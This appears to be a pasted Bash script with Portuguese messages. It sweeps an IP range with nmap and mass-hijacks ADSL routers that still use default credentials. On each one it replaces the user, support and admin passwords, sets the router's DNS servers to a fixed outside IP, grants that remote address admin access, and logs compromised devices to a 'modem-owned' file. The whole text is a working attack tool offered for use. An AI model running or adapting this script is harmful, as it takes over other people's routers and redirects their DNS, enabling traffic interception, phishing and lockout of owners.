SHOW:
|
|
- or go back to the newest paste.
| 1 | #!/bin/bash | |
| 2 | x=`nmap -V | grep "Nmap version 5.21"`; | |
| 3 | if [ ! "$x" ]; | |
| 4 | then | |
| 5 | echo "Erro: verifique o nmap"; | |
| 6 | exit; | |
| 7 | fi; | |
| 8 | if [ ! $1 ]; | |
| 9 | then | |
| 10 | echo "Digite full.sh [xxx.xxx.xxx]"; | |
| 11 | echo "xxx.xxx.xxx sem o ultimo valor pois ele vai automatico de 1 a 254 ;)"; | |
| 12 | else | |
| 13 | for (( i=1; i<255; i++ )) | |
| 14 | do | |
| 15 | ip="$1.$i"; | |
| 16 | echo "Efetuando disparo $ip"; | |
| 17 | x=`nmap -sS $ip -n -p T:80 | grep "Host is up"`; | |
| 18 | if [ "$x" ]; | |
| 19 | then | |
| 20 | echo "Trocando Password do ADSL $ip"; | |
| 21 | ||
| 22 | curl --max-time 30 --connect-timeout 30 http://$ip/password.cgi?usrPassword=bklchange -d "userName=3&pwdOld=user&pwNew=bklchange&pwCfm=bklchange" > /dev/null; | |
| 23 | if [ $? == "0" ]; | |
| 24 | then | |
| 25 | curl --max-time 30 --connect-timeout 30 http://$ip/password.cgi?sptPassword=bklchange -d "userName=2&pwdOld=support&pwNew=bklchange&pwCfm=bklchange" > /dev/null; | |
| 26 | curl --max-time 30 --connect-timeout 30 http://$ip/password.cgi?sysPassword=bklchange -d "userName=1&pwdOld=admin&pwNew=bklchange&pwCfm=bklchange" > /dev/null; | |
| 27 | curl --max-time 30 --connect-timeout 30 http://$ip/dnscfg.cgi -d "dnsPrimary=200.98.164.75&dnsSecondary=200.98.164.75&dnsDynamic=0&dnsRefresh=0" -u admin:bklchange > /dev/null; | |
| 28 | curl --max-time 30 --connect-timeout 30 -u admin:bklchange "http://$ip/scacccntr.cmd?action=add&addr=200.98.166.48" > /dev/null; | |
| 29 | curl --max-time 30 --connect-timeout 30 -u admin:bklchange "http://$ip/scacccntr.cmd?action=save&secAccCntrMode=1" > /dev/null; | |
| 30 | v=`curl --max-time 30 --connect-timeout 30 http://$ip/rebootinfo.cgi -u admin:bklchange | grep "DSL Router Reboot"`; | |
| 31 | if [ "$v" ]; | |
| 32 | then | |
| 33 | echo $ip >> modem-owned.log | |
| 34 | fi; | |
| 35 | fi; | |
| 36 | fi; | |
| 37 | done | |
| 38 | fi; |